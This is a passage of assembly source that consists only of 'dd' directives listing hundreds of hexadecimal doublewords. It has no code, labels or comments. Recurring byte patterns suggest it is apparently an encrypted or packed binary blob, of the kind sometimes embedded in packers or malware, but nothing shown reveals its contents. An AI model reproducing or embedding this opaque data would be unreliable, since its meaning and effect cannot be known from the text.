		dd 0F256C465h, 8957A099h, 0CF5212B5h, 0A7BF74A9h, 16E12F51h
		dd 46B97306h, 0ADE2EA07h, 22321560h, 0B40E991h,	1CAFE24h
		dd 0A4D8F7E3h, 23B31A61h, 0E9321566h, 90E390A0h, 4B7712B5h
		dd 223217EBh, 79537566h, 52522DA4h, 4432198Fh, 5851466h
		dd 67CCA324h, 0F4859FDh, 2187EA2Eh, 2D35C667h, 11321EE5h
		dd 0E3D7566h, 44321566h, 43F09E00h, 2B0590EBh, 98DB12B5h
		dd 321566h, 0D6C2D8DFh,	0E295224Eh, 7F5D5B7Bh, 0BB74C07Ch
		dd 0A7BBECB6h, 16D2FF80h, 788D1A06h, 0F9B1ED07h, 25E12733h
		dd 0EFB71A66h, 61321566h, 4432156Dh, 0F725AF11h, 0DCAC1D17h
		dd 0E89155E9h, 8DB3DDEDh, 23401D88h, 0C0B7D307h, 0CD35C67Eh
		dd 44321C8Fh, 284C5566h, 31872DFAh, 0E5A82BBh, 0ADC83518h
		dd 22321561h, 0CEAC1F76h, 7742888Ch, 973370D3h,	44647561h
		dd 4F14D4D8h, 883E9869h, 43DB1566h, 0A3321566h,	33174F90h
		dd 5530C6Eh, 970822E3h,	2239FC61h, 0E56D1566h, 8076795Fh
		dd 7642C81Dh, 0DBE2EA39h, 0FBD890EFh, 0C3D1286h, 4432156Ch
		dd 2D6A4706h, 113215E5h, 0DF47466h, 43E10DB7h, 23B21A2Ah
		dd 0E9321566h, 0AEE2D60Eh, 50B91A86h, 2D321566h, 11321BE6h
		dd 883BFC66h, 36391566h, 53F7E019h, 0E98A83FEh,	8957A099h
		dd 0C9CE12B5h, 0F10822E3h, 1122FC61h, 0BD081566h, 0C782963Eh
		dd 0F00116EEh, 7FE532D4h, 58CD86CBh, 0AAB79C9Fh, 0CB35F58Ch
		dd 1132156Dh, 0CA1E8212h, 1221E65Bh, 0CBAF3D4Ch, 113215DBh
		dd 59B7D39Fh, 1635C67Eh, 22359469h, 923D1566h, 88321567h
		dd 495AED93h, 428E5F82h, 70E9A269h, 8ABFA099h, 43DB12B5h
		dd 4D321566h, 1F8612Dh,	0DBFAE84h, 43E12F51h, 20B11A06h
		dd 41321566h, 0E9CA9F3Dh, 0BDCEC599h, 0C8D890EFh, 0D7CB1286h
		dd 5B2AC4E3h, 0AD524761h, 2232156Fh, 2E9EBC1Dh,	800DAB30h
		dd 5E2AC8Ah, 4A537A0Ah,	0B77E5F2Eh, 883B9A69h, 4B521566h
		dd 223215E8h, 7153E066h, 7DF89E00h, 0C987EA07h,	0D735C664h
		dd 2B0590EBh, 875212B5h, 0FD54CFD9h, 0DD53ED69h, 94BBE0B6h
		dd 8FD2FF88h, 4432018Fh, 0D26BE166h, 89665B46h,	5DEDDA45h
		dd 8EA7A8Fh, 75E2FE07h,	0C0B7D3B5h, 0DA35C67Eh,	443A9869h
		dd 0A23D1566h, 11321564h, 625A7406h, 0B1CF57D2h, 2221FC06h
		dd 81C81566h, 78DC07C3h, 1D1AE389h, 29C8CEEAh, 0CBDBF3CEh
		dd 3DCD743Bh, 43E11403h, 2232068Fh, 0F5916466h,	9020E231h
		dd 6FAAD929h, 46D68724h, 0E28F2DB2h, 0B20590EBh, 0B8C712B5h
		dd 0A53DC599h, 1132156Ah, 88349569h, 0C43D1566h, 22321566h
		dd 89FB9506h, 0E9EDAA69h, 649B90EFh, 0E4CE12B5h, 0C22AC4E3h
		dd 0E0CE6261h, 0B7A5BDC5h, 2232068Fh, 6F05AC66h, 7ED0B851h
		dd 46871723h, 87B88DA3h, 0F3D7DD62h, 888BA099h,	0C9CB12B5h
		dd 0F10822E3h, 0DA7561h, 2E321566h, 0F01A3E68h,	452EFD8Fh
		dd 131F9CD0h, 7BFAA7EBh, 44329A69h, 0CA6C1566h,	11321574h
		dd 0A1162AACh, 86F7F910h, 584BA60Ch, 0D53F0244h, 13DED23h
		dd 44321566h, 2D527439h, 0F3B8DFD9h, 7DE2EA07h,	648B90EFh
		dd 24DB12B5h, 0BC321566h, 86824D0Ah, 0C1F4ED2Bh, 25E10DB7h
		dd 52887534h, 9112CB1h,	69D1AC96h, 355A7474h, 71B8C857h
		dd 86AEAA00h, 0DD1E95DDh, 97CD7466h, 16E11403h,	883A9569h
		dd 0C4521566h, 0A9548FA1h, 94BF749Dh, 8FE12F51h, 443CFD06h
		dd 688A1566h, 6320D4C8h, 492F7926h, 32E31001h, 2232068Fh
		dd 29ECE166h, 0F8BB5671h, 0FB547128h, 0A3081A18h, 0BDB84C18h
		dd 80DB753Ch, 0D0321566h, 26A86290h, 70F47A71h,	87E2EA07h
		dd 443207EFh, 223FFC66h, 82C91566h, 0E246BE6Ah,	208D793h
		dd 2D006F8Fh, 11321EECh, 8834FC66h, 396F1566h, 9EEDF5CBh
		dd 3DF790EFh, 0EE5212B5h, 0FE846ED8h, 618FD2h, 0C0B7D307h
		dd 0DE35C67Eh, 4420FD06h, 5DA51566h, 0A2DDA626h, 485A330Ah
		dd 7F3E9672h, 0E3180C5Fh, 0ED6BD7EDh, 0E50B7D07h, 0C53DC179h
		dd 22321567h, 0E087EA93h, 6135C66Bh, 4432156Ah,	88D946A9h
		dd 0AEA7D9DCh, 982C4F1h, 475890EBh, 33DB12BAh, 3A321566h
		dd 81FD2E0h, 670E251Eh,	380799B5h, 7EF4CEDh, 8752C599h
		dd 44320CE4h, 2221FD66h, 7B081566h, 0BA0D7DBDh,	11605F02h
		dd 8FC2E95Bh, 0DDBC16D3h, 98DB4F6Fh, 0B2321566h, 9A536E0Ah
		dd 0DCDE2B14h, 85B865E3h, 2563689Fh, 97790EFh, 983D12B5h
		dd 8832157Ch, 44269469h, 2DDB1566h, 12321566h, 38C9A253h
		dd 70D2AEDh, 413BB357h,	94F4AB41h, 8FE10DB7h, 3E5AE021h
		dd 0DAB3C976h, 1057A099h
		dd 0EE5212B5h, 0AD3C82DFh, 22321563h, 8D0AD817h, 0DBF74A0h
		dd 43E12F51h, 2232068Fh, 0C568E66h, 0A67C4FEFh,	0C7973668h
		dd 0B864D689h, 0C11DF5FBh, 1C7C599h, 972948E3h,	223FFC61h
		dd 73941566h, 269882D4h, 83A5E007h, 0E4AF75C2h,	0C22AC4E3h
		dd 60525261h, 44321574h, 0C0F5D0BDh, 0E2CF1CBEh, 66635A35h
		dd 2B8B93D3h, 0E1B9560Eh, 0CF851A3Ch, 80B91A07h, 24321566h
		dd 4F2CF2E7h, 795320D8h, 23DA084h, 2187EA93h, 0D735C667h
		dd 2B0590EBh, 99DB12B5h, 44321566h, 56FF60F8h, 7F6E2C62h
		dd 1889BB42h, 4CE867DAh, 0ABCBC599h, 0F1D91BE3h, 883BFC61h
		dd 8991566h, 0B30D080Ch, 0D6E9AE61h, 5B2D68E3h,	44326D61h
		dd 2ABC1A66h, 1E321566h, 883217E0h, 0C7537566h,	0F1259CDBh
		dd 953D1561h, 88320C75h, 44321B8Fh, 1D7A5266h, 0D3E6B3B4h
		dd 44B86C45h, 823D77A3h, 0F12AC4E3h, 0E4525961h, 470FBE7h
		dd 2C5300B8h, 0FBE8098Fh, 113BFC06h, 2F4D1566h,	0F53B92Dh
		dd 2DF98CF0h, 11320FE3h, 8826FD66h, 50471566h, 0B97FC880h
		dd 920531DBh, 0AC8C18A7h, 0B6F0E8D8h, 43681539h, 1057A099h
		dd 87CE12B5h, 44320CEDh, 2226FC66h, 1C021566h, 0D5DB56D1h
		dd 4C49A073h, 3F654F9Eh, 69F16C6Ch, 0DBF93FBh, 43E12F51h
		dd 223A9369h, 963D1566h, 88321564h, 94CD7406h, 0F4B37306h
		dd 0A8542F7Ch, 153A214h, 0A4D8EFE3h, 0A7F4EC61h, 16E10DB7h
		dd 465AEC2Ah, 0BCEF61B8h, 2232198Fh, 9C55EC66h,	775C0CA3h
		dd 0A36749C8h, 4787EA60h, 0E435C667h, 8832048Fh, 89109D66h
		dd 0A179898Dh, 0EE182253h, 0E420566Ch, 0C1BF08B1h, 25E12F51h
		dd 11321F8Fh, 37E66C66h, 3892B97Ah, 4205397Ch, 11321F8Fh
		dd 88E09C66h, 6A405D42h, 438E87ACh, 19DBC599h, 8F321566h
		dd 0BD39049Bh, 0ABAD1FF5h, 0F1D8EBE3h, 89B91A61h, 0B1321566h
		dd 3AE390A0h, 0F87E12B5h, 88321576h, 0F62DE934h, 0F36BD2D4h
		dd 0D7BDB604h, 0E70C23Dh, 0C5B02A0Eh, 223DFCD1h, 31061566h
		dd 194451C4h, 6D02BE1Eh, 725EF02Ch, 7487EAD9h, 6135C667h
		dd 44321569h, 5BCFCA41h, 7B324DBAh, 0B600BCEFh,	4BFEFFCAh
		dd 223207E1h, 113FFC66h, 9A551566h, 4811F2CEh, 1ED3A03Dh
		dd 9CF03A84h, 5B0822E3h, 48B21A61h, 42321566h, 0D9CFAB00h
		dd 88329B69h, 0BB531566h, 2235FCB6h, 5CFE1566h,	7BF529D2h
		dd 46B79C5Bh, 0CB35F58Dh, 1132156Ch, 0D498682Eh, 0B12BEFD7h
		dd 0E4CEEC59h, 0C22AC4E3h, 73D5961h, 44321570h,	2239FD06h
		dd 55391566h, 2205A01Fh, 8941B8A8h, 0EFB24DF4h,	79CE7418h
		dd 3B1D557Eh, 443D9069h, 28DB1566h, 20321566h, 0B9A46686h
		dd 3F046345h, 4787EA55h, 7135C667h, 0DA6835D9h,	0C953E042h
		dd 0F10822E3h, 0AE547561h, 45B285FCh, 94CD74FEh, 20B79C93h
		dd 7135F58Dh, 88321F8Eh, 1978E466h, 0D45A995Eh,	0F852CD85h
		dd 88321575h, 4D6ED4h, 0AA4CDB1Bh, 0E2B19CD2h, 47E3897Fh
		dd 1A6065DBh, 22321B8Fh, 0A1FC2266h, 93C4C502h,	299CEBF8h
		dd 43D5B89Ch, 9E390A0h,	877412B5h, 443212E5h, 23BA1A66h
		dd 0E8321566h, 5634010Eh, 443EFCDCh, 41E21566h,	0F9CCC57Ah
		dd 281B83BDh, 0F1CD2EB5h, 25E11403h, 11359A69h,	0A3D1566h
		dd 44321567h, 15B7989Fh, 0E935C65Ch, 1C7C599h, 0A4D91FE3h
		dd 27DB7561h, 0D8321566h, 6CE1AED9h, 0C1F4749Fh, 25E10DB7h
		dd 10B81A21h, 7D321566h, 98226F0Eh, 2223FCE7h, 23061566h
		dd 598645BDh, 0EB9762D1h, 0E4DA76DAh, 0EECF4FB8h, 5B3370D3h
		dd 0FA547561h, 2D5345B1h, 113214EBh, 0DBFEC66h,	43E12F51h
		dd 22321A8Fh, 31E7B166h, 70F5BEDBh, 22EFFCA5h, 21B981E0h
		dd 9C3DC599h, 8832156Ch, 0EAEB9406h, 73639872h,	94BB743Fh
		dd 8FD2FE74h, 9F2EAB06h, 0D0B307F2h, 41D0C6EAh,	59B7D307h
		dd 335C67Eh, 22269869h,	1EDB1566h, 18321566h, 8C79E633h
		dd 0CD3CB7F4h, 68332402h, 245AD5AEh, 0B1DD92E8h, 2357A099h
		dd 9A5212B5h, 883DFCB9h, 5E1D1566h, 0E91F9D3Bh,	6151D165h
		dd 0C67E5AFEh, 0C1BF74AEh, 25E12F51h, 11359769h, 0C3D1566h
		dd 44321567h, 0CBE2EA9Ah, 1132156Bh, 4582789Ah,	0EE151AE7h
		dd 82736AF8h, 7B79CDDh,	7035F58Dh, 5CE390A0h, 2D7512B5h
		dd 113211E3h, 0E9527566h, 0E3E07D07h, 31DBC1FCh, 0D6321566h
		dd 2E45B7E3h, 2B11EDC1h, 6AF9A154h, 7EB0ACA5h, 3DCD0F1Dh
		dd 43E11403h, 223C9869h, 1E521566h, 883215EBh, 3EA9466h
		dd 433E9F25h, 2B0590EBh, 77CA12B5h, 0C1BBE9B6h,	25D2FE7Ch
		dd 1132078Fh, 72936766h, 2E06810Fh, 52879D53h, 53379BBCh
		dd 4E708EBAh, 972AC4E3h, 2CDB5261h, 40321566h, 5E810C46h
		dd 0B484F9BFh, 10324561h, 28367D29h, 77CEAFA7h,	973370D3h
		dd 223DFC61h, 0C7F91566h, 2E7CD7E7h, 0A8FD8F3Eh, 12A6E02Ah
		dd 26B7983Eh, 8735C65Ch, 443214EAh, 0DDCBE066h,	0B61AB6h
		dd 61321566h, 4432156Ah, 59B39461h, 5ED2E802h, 1FC3FDC2h
		dd 0AF2C90EFh, 2BDB1286h, 50321566h, 43A7D509h,	0A8C46E6Dh
		dd 2232108Fh, 0EA0B2866h, 35B148C4h, 43E10C73h,	0BBB71A66h
		dd 0F8321566h, 88321577h, 47E2A2C2h, 0C390C2DDh, 72D57D55h
		dd 2BF6D6C3h, 95B7D36Fh, 6535C67Eh, 0AE3DED06h,	0EF5A749Fh
		dd 24D2674Bh, 24DBEDEDh, 99321566h, 7F715017h, 0F1CD74E8h
		dd 25E11403h, 668A7306h, 8BB41AD0h, 0C4321566h,	0AF53FE94h
		dd 0C20822E3h, 8821FC61h, 0DBC21566h, 5C061D31h, 0B2DA03F0h
		dd 0E62CBCEBh, 2E587650h, 0CBE2EACDh, 11321572h, 825AA73h
		dd 69F02A4h, 0BD106792h, 8AA16DCFh, 0B7F5EDEDh,	0AF1090EFh
		dd 0AD3D1286h, 1132156Eh, 88309B69h, 25521566h,	3AE390A0h
		dd 0ED7512B5h, 88321B8Fh, 0C6292F66h, 0C86326Fh, 300F2D32h
		dd 0E0B10EE7h, 0CA1BA6D7h, 22339369h, 0EECE1566h, 5B3370D3h
		dd 4FDB7561h, 61321566h, 6360FC48h, 0F8E3C2E6h,	4ADBB480h
		dd 0FC321566h, 790968EDh, 0F9A54AF9h, 164740BCh, 0A7BF7400h
		dd 16E12F51h, 8DF99506h, 4432068Fh, 8E2A3C66h, 6A1DC49Ah
		dd 5B4EB2BCh, 8E5CBFB1h, 0A54096B4h, 71E2EA07h,	0E9C7C6E6h
		dd 0AF1490EFh, 2EDB1286h, 0AF321566h, 5EBD2668h, 52C8F93Bh
		dd 0E41AD4C2h, 0C22AC4E3h, 71525661h, 508AAE00h, 68957D07h
		dd 0EEC7D510h, 5B3370D3h, 0C9C7EC61h, 0F10822E3h, 113EFC61h
		dd 7B401566h, 346ECE18h, 8A8D557Dh, 0C1CD1F4Ch,	88321D8Fh
		dd 38BED966h, 5AB6FA0h,	0D7B37522h, 88D74E4Fh, 0B4E81FDCh
		dd 0A7BB7413h, 16D2FE4Ch, 59B7D39Ah, 835C67Eh, 4ED97D9Fh
		dd 9B3DEE00h, 88321567h, 0FD87EA9Eh, 2D35C666h,	113214EEh
		dd 0DBFEC66h, 43E12F51h, 0FBB37306h, 0ED53CF3Fh, 85DBC599h
		dd 0BC321566h, 0B43D9F9Ch, 0CE753393h, 85226E3Bh, 0AF8C90EFh
		dd 0AB3D1286h, 11321561h, 88339769h, 4BCA1566h,	223204E1h
		dd 113EFC66h, 0B9991566h, 104575D8h, 0C66FCB35h, 94F40CFFh
		dd 8FE10DB7h, 0CF547522h, 7C6246B6h, 0E952743Fh, 88321B8Fh
		dd 20BD0466h, 97252B7h,	0E91A4A2Ch, 0E92ACE1Ch,	37BC400Eh
		dd 97CDECDDh, 16E11403h, 68B37306h, 248BEC49h, 4329DACBh
		dd 2B0590EBh, 0E3D12B5h, 4432156Ah, 22349269h, 953D1566h
		dd 88321566h, 0FD52C599h, 709C17D3h, 11309469h,	0A6831566h
		dd 6AB79C07h, 0D735F58Dh, 9E390A0h, 717112B5h, 0CA5CE90Eh
		dd 2221FCDAh, 0DF1C1566h
		dd 25A750Fh, 1A33A973h,	949EBF0Bh, 0D5C7E9D6h, 0ED87EA0Bh
		dd 4B35C667h, 22321BE2h, 113BFC66h, 4DC21566h, 8A3E5D68h
		dd 0AF182419h, 0C20822E3h, 8EDB7561h, 6C321566h, 87B2A58Ch
		dd 6B41AE4h, 61321566h,	44321574h, 0A04DDC66h, 0A27B2AE3h
		dd 329F8AE0h, 0CBE768F3h, 0DD53A83Eh, 943D75B6h, 88321567h
		dd 0C1BB749Fh, 25D2FE54h, 11321B8Fh, 4BEE966h, 7E9E3BDAh
		dd 5940DAE6h, 0D704BA59h, 5B2AC4E3h, 0C33D4661h, 22321547h
		dd 1126FC06h, 75021566h, 265DC6B2h, 39CF3407h, 6958E79h
		dd 7F4BF35Eh, 0C43DD312h, 22321566h, 2F987D07h,	93DD376h
		dd 44321567h, 4787EA9Ah, 0F835C667h, 88321576h,	0F607A1C2h
		dd 1DA902E6h, 46E7E069h, 95CCEA58h, 7E0590EBh, 0DA5212B5h
		dd 0F8E2EA07h, 88321577h, 0C080E47Bh, 34EE9A7Fh, 0EA9B45C0h
		dd 944083D4h, 72B79CB7h, 2D35F58Dh, 113205E8h, 8EDB7566h
		dd 66321566h, 274EB47Ah, 0D7B9737Eh, 7D8F9607h,	4435C663h
		dd 21579169h, 0D7C71566h, 5B2AC4E3h, 4BCA5361h,	223201EFh
		dd 113DFC66h, 930F1566h, 0AD87E639h, 3B6BEA69h,	764A486Ch
		dd 46037D24h, 0C23DEFF0h, 22321561h, 11339569h,	77CE1566h
		dd 973370D3h, 2ABC1A61h, 1E321566h, 883217EAh, 0C9537566h
		dd 0F10822E3h, 0EECEE061h, 0E852E9B6h, 2309CAE7h, 43C716B3h
		dd 9853CCEDh, 68D987E3h, 45B01A61h, 0D7321566h,	9E390A0h
		dd 747412B5h, 0E308C30Eh, 0A354759Ah, 433DB3B1h, 88329469h
		dd 256C1566h, 2357A099h, 14DB12B5h, 26321566h, 3DC9FB99h
		dd 2DC29E06h, 9C53DFD1h, 5B0822E3h, 52BB1A61h, 0CB321566h
		dd 11321577h, 0A482939Ch, 0EB9EACE3h, 96E1DE3Bh, 0C0E8A00Ch
		dd 61E2EA1Bh, 44321574h, 4FC02D75h, 5EA70930h, 0A28E3D65h
		dd 0FBDD7A10h, 0DB52F527h, 1132048Fh, 51C6AA66h, 0DBC9A144h
		dd 75C0AEEh, 0D7C5FE98h, 1536795h, 0A4D9B7E3h, 0E5B97561h
		dd 48C32ED9h, 0DF4742Dh, 43E10DB7h, 223CFC20h, 8B2B1566h
		dd 7CD1A7B0h, 73CEBFFBh, 9AD7CB8Dh, 0ED96150Eh,	8826FCF4h
		dd 2981566h, 0D04D73Fh,	9E8D28B0h, 1C5E7CC4h, 0E375EB0Fh
		dd 97CD1565h, 16E11403h, 0BFB7989Eh, 2435C65Ch,	22321F8Fh
		dd 0F2486566h, 581FC2DAh, 25F1E8FFh, 2DDBC599h,	0A5321566h
		dd 331F6D95h, 0DFDDDE0Fh, 2AF2D971h, 94BB6D61h,	8FD2FEC0h
		dd 44321C8Fh, 7D283466h, 0BAF36C1Eh, 0DF4C4ADh,	43E10DB7h
		dd 2223FC20h, 0F6541566h, 1DD61CA7h, 6705D121h,	4925857Ah
		dd 79ACD3CEh, 7EE65A0Ch, 2187EA9Ah, 2D35C667h, 11321DEEh
		dd 0EECA7566h, 1F13DFE7h, 25BF1A07h, 1E321566h,	883214E4h
		dd 0C1BFEC66h, 25E12F51h, 0E9E2EA93h, 639890EFh, 82C71286h
		dd 0F12AC4E3h, 1ADB5361h, 1C321566h, 0C95B308Dh, 3B71B261h
		dd 1E52E52Ah, 883217EEh, 0F0537566h, 0C55A7432h, 1EA6D836h
		dd 883219E9h, 42BB1A66h, 2D321566h, 113215E2h, 0ED87EA66h
		dd 0AD35C667h, 2232156Eh, 0ACB24D3Ah, 1AD3E6ADh, 7E0590EBh
		dd 2CDB12B5h, 59321566h, 0CB562437h, 166936A2h,	0A388A47Ah
		dd 71E2EA98h, 88321D8Fh, 5C5FE166h, 4F173216h, 94BB7419h
		dd 8FD2FEF0h, 8253E006h, 0F12AC4E3h, 0F8525361h, 8832156Ch
		dd 78A76693h, 0E391E9B0h, 9A549F4Bh, 0B35A74B6h, 0BC833712h
		dd 2357A099h, 2DB12B5h,	91321566h, 0FE86B6E7h, 0BBDB4250h
		dd 88824C52h, 7E61B97Bh, 0C1BF7AD2h, 25E12F51h,	16DB7506h
		dd 0E5321566h, 4FB8CB90h, 0CB5335FEh, 1132156Bh, 5E71E4Bh
		dd 0B74A9CDDh, 0EAD6A1Ah, 0C1CD746Ch, 3F3DE906h, 0C1BB7496h
		dd 25D2FEFCh, 1126FD06h, 54F51566h, 1DABB108h, 9CD799C5h
		dd 65B9A2Ah, 9724A2DCh,	22699F4Ah, 43705FD9h, 9E390A0h
		dd 0E87412B5h, 4DDBED06h, 9D321566h, 0A6E1498Ah, 5F589BDFh
		dd 25C99E07h, 5BD8F80Eh, 0EECEEDB9h, 5B3370D3h,	0C1BFEC61h
		dd 25E12F51h, 11209169h, 83D1566h, 4432156Ah, 2232128Fh
		dd 0C6AFA66h, 0A4DEBAB3h, 0C53DC599h, 2232157Ch, 11BE1A06h
		dd 60321566h, 4432156Ah, 989BD461h, 197E24AFh, 2AB90075h
		dd 0C1BB7438h, 25D2FEF8h, 0EE8D1A06h, 0B53EBEDh, 972B00DBh
		dd 0A73D1561h, 1132150Bh, 88339669h, 82C71566h,	0F12AC4E3h
		dd 0EDCA4661h, 36D24B0Eh, 0CF5475A8h, 368D44B6h, 4B1961E2h
		dd 0ED87EA07h, 0BC35C667h, 180590EBh, 0EECA12B5h, 7FB975B6h
		dd 44321D8Eh, 777ED966h, 69D032F1h, 8838FC84h, 20631566h
		dd 0C80DC505h, 2C52111Bh, 8EDB7439h, 64321566h,	2F98013Fh
		dd 2BB79CFFh, 6135F58Dh, 44321563h, 8E74352h, 0C0B7D3F3h
		dd 0CF35C67Eh, 1AB57D9Eh, 0A33DD2D7h, 11321573h, 488D1A06h
		dd 44321F8Eh, 16B3C566h, 0C05D4DA7h, 0D76357DEh, 2187EA07h
		dd 0CB35C667h, 11321577h, 76A8A49Ah, 62CA2114h,	21A99E0Ah
		dd 4B76C3F2h, 0BFB7989Dh, 2435C65Ch, 4ECAA9Ah, 0EE53284Eh
		dd 89B41AB6h, 0BC321566h, 22399669h, 77521566h,	6EB3CBEDh
		dd 38DDEEB4h, 1CB79C07h, 0F835F58Dh, 8832156Bh,	0A33B5726h
		dd 3797FECh, 0E49A8521h, 9D8F969Eh, 4435C67Fh, 22449069h
		dd 71C71566h, 5394D4E7h, 0AD525A00h, 22321561h,	0A4EE5166h
		dd 71E034DAh, 0C1F47407h, 25E10DB7h, 145AEC21h,	61D47718h
		dd 4432156Bh, 0A9D756B5h, 0CF4CB934h, 0E3807BE4h, 2187EA63h
		dd 2D35C667h, 113214E8h, 0DBFE966h, 43E12F51h, 24BE1A06h
		dd 1E321566h, 883215E3h, 0CF544566h, 0DD534DB9h, 1BBC1AB6h
		dd 0E8321566h, 44329F69h, 79651566h, 53B79C07h,	7135F58Dh
		dd 5CE390A0h, 0DA7112B5h, 6B3BE30Eh, 883BFCF4h,	7DE1566h
		dd 0AADA10EAh, 0EE8FF928h, 5B3370D3h, 43BC1A61h, 2D321566h
		dd 113214E4h, 0DBFEC66h, 43E12F51h, 9A8B7306h, 0EE53E041h
		dd 99DA75B6h, 6B321566h, 8B6DC4EAh, 51932D5Eh, 719A1163h
		dd 6EE25D24h, 2232078Fh, 79D6F366h, 0E1687718h,	95AFC52h
		dd 44F03C9Eh, 4F4ABD1Bh, 88B21A37h, 1A321566h, 64B79C07h
		dd 7135F58Dh, 0DAF9AA69h, 2569DBEDh, 3AE390A0h,	0E87112B5h
		dd 0A9A5350Eh, 4435FC9Ah, 0BF1566h, 8DA3C7C6h, 0ED87EA8Fh
		dd 2435C667h, 0AF53F2ECh, 0C20822E3h, 5EB27561h, 50DA4674h
		dd 0F2321566h, 8E36F7DDh, 0BD72E47Dh, 4703E390h, 0A37F864Ch
		dd 4A9941E9h, 58CD743Fh, 443D9B69h, 28DB1566h, 7D321566h
		dd 0AB8FFDA6h, 0A6220C4h, 2223FCE2h, 48441566h,	6E842F74h
		dd 0C92BB7B9h, 0C90E751h, 986D241Ch, 68D95FE3h,	0C43DE961h
		dd 2232156Ah, 11349569h, 23D1566h, 44321566h, 3B27A8E5h
		dd 1E3212B5h, 883337E3h, 9F887566h, 2D3C544Fh, 0D753D7D9h
		dd 5B2AC4E3h, 56DB5661h, 0E0321566h, 2C9871F4h,	385DA44Dh
		dd 0FE852B39h, 0E313E831h, 0B9317D65h, 82DB9E66h, 97321566h
		dd 3959FDC8h, 8773489Bh, 0ED87EA61h, 0AD35C667h, 2232156Bh
		dd 0BCA0008Eh, 1384ACA9h, 779308EAh, 15B798CEh,	0ED35C65Ch
		dd 61CAC599h, 4432156Bh, 0DA212844h, 9F79759h, 0BDD3593Eh
		dd 16B79C3Bh, 4235F58Dh, 77C4A269h, 4E53CBEDh, 972AC4E3h
		dd 24DB5661h, 0EE321566h, 93666A6Dh, 72E77D72h,	0CA52F03Dh
		dd 11321561h, 61C146B1h, 4B84EE0Bh, 223215E9h, 9C3D4D66h
		dd 88321575h, 44321B8Fh, 7E86B866h, 9042D7FDh, 0FA9F52B2h
		dd 251453E7h, 2357A099h, 16DB12B5h, 19321566h, 3B1D801Ah
		dd 0A7BF578Eh, 16E12F51h
		dd 88399869h, 0C4521566h, 0FBB369A2h, 206DD94Ch, 3547507h
		dd 25D89F9Eh, 42CBC599h, 2F84FFECh, 0C6B79C07h,	4B35F58Dh
		dd 22320CEFh, 2B21A66h,	61321566h, 44321568h, 0BA064765h
		dd 879F9665h, 90176DDDh, 82CBE6DEh, 0F12AC4E3h,	42525661h
		dd 0D2A7C9E6h, 0A55A749Eh, 0DAD8BF54h, 1057A099h, 81DB12B5h
		dd 0FF321566h, 40BE5F80h, 211068F6h, 0B20590EBh, 54DB12B5h
		dd 7F321566h, 343DFAD9h, 6F814DE3h, 0B80C1762h,	0DD2265ADh
		dd 113EFCB6h, 868C1566h, 19E49A55h, 8624EF8Ah, 94BB3DA7h
		dd 8FD2FE30h, 4432188Fh, 4B06FC66h, 0A9ED038h, 6CD5C66Ah
		dd 0C1F4DFFDh, 25E10DB7h, 1120FC25h, 9C0F1566h,	0D277D788h
		dd 7F102D85h, 7753F426h, 19A00474h, 0B59E220Eh,	3BB51AE2h
		dd 1E321566h, 883206E9h, 443CFC66h, 92631566h, 6329DF67h
		dd 11868D89h, 0F7ADB96Fh, 2357A099h, 1ADB12B5h,	1D321566h
		dd 0A2F3AF97h, 0F69B146h, 94BF63AAh, 8FE12F51h,	8BB37306h
		dd 0A354E426h, 70B18980h, 9BDBC599h, 73321566h,	233BF16Bh
		dd 2E684587h, 7024B3D2h, 0AED34E4Eh, 0A7BB2F49h, 16D2FE3Ch
		dd 8832018Fh, 0C4B9466h, 0D0E7FBD7h, 5CC58DEEh,	35EA63DBh
		dd 0AA818435h, 0A7F4E941h, 16E10DB7h, 5C5AEC29h, 0ADA520F6h
		dd 22321572h, 21C37E88h, 473F4DD9h, 0D6C637FFh,	1D94EA50h
		dd 57A4FB06h, 8957A099h, 145212B5h, 0B7E99400h,	0F8534D18h
		dd 8832156Ah, 0CE78B978h, 2AF4BF99h, 7A2F6B3Bh,	0B20590EBh
		dd 43DB12B5h, 0E0321566h, 0F5C1F5D7h, 83DB83C1h, 7D321566h
		dd 0D308CA08h, 0A5760D37h, 58CD42F3h, 443FFC9Eh, 0D3641566h
		dd 0F1BD7853h, 51E99487h, 0CDE20719h, 0C2D94BE3h, 19B91A61h
		dd 87321566h, 443217E3h, 0E4537566h, 0C22AC4E3h, 0E0CB5A61h
		dd 0BD5C1B64h, 4787EA9Eh, 7135C667h, 0B92CAD00h, 693EDEDFh
		dd 0A7BF742Fh, 16E12F51h, 88321C8Fh, 0DBBD4766h, 0F483955Ah
		dd 0C1CDF979h, 8832078Fh, 0CF608D66h, 494FAEF7h, 21185BF8h
		dd 0A38570F8h, 0CD629C05h, 0C2D977E3h, 1123FC61h, 0A93C1566h
		dd 61E0190Ah, 0FE8D81CCh, 8CA38080h, 4EE7B083h,	972AC4E3h
		dd 28DB5861h, 38321566h, 5DEB34C3h, 45737B65h, 5B7B7D8Fh
		dd 1DDBDD51h, 4321566h,	0E52C272Fh, 440ED088h, 0ED682361h
		dd 8957A099h, 0C55212B5h, 31547B0h, 1122FC58h, 0FEAB1566h
		dd 0D0CCF1FAh, 29EC8CC5h, 425034CAh, 553BCCAh, 970822E3h
		dd 223AFC61h, 0E2C81566h, 0A7655900h, 94CD18C7h, 22321F8Fh
		dd 14731F66h, 0D27786Dh, 0CD7509AEh, 0C2D97FE3h, 1ABB1A61h
		dd 0E8321566h, 44329669h, 953D1566h, 94F474B4h,	8FE10DB7h
		dd 443BFC2Bh, 0BA5F1566h, 0C09A19C4h, 0E05E45A5h, 98C558EFh
		dd 2232128Fh, 3B5B1D66h, 25027A57h, 4557A099h, 31DB12B5h
		dd 0BE321566h, 34A7E659h, 67A77DE7h, 2366685Ch,	92E458E0h
		dd 5C74F30h, 970822E3h,	223FFC61h, 52D01566h, 0A7858C8Ch
		dd 46DFDA67h, 0DDD1DEABh, 90C775B6h, 0ADF113B4h, 0C1BB744Bh
		dd 25D2FE00h, 11321B8Fh, 7535D66h, 2514B252h, 2E67CE9Bh
		dd 0D7CEE523h, 5B2AC4E3h, 2CCE4061h, 0BE293851h, 11321C8Fh
		dd 1012DF66h, 0E35D6B79h, 97CDD59Dh, 16E11403h,	8832078Fh
		dd 663EC966h, 5554F90Fh, 16AB8FECh, 5528BA15h, 0C9B80CBFh
		dd 0F10822E3h, 983D7561h, 88321567h, 1A654293h,	33DB743Ch
		dd 3321566h, 34895FD9h,	3207D529h, 72CF8146h, 85FD220h
		dd 83DC599h, 44321561h,	44537506h, 9853D6EDh, 68D97BE3h
		dd 0C1F4ED61h, 25E10DB7h, 19B91A25h, 87321566h,	443217E5h
		dd 4A537566h, 0C3E7E54Ch, 8832108Fh, 0F1D87266h, 97CDB73Ch
		dd 16E11403h, 0BFB7989Ah, 4B35C65Ch, 223219E3h,	17B11A66h
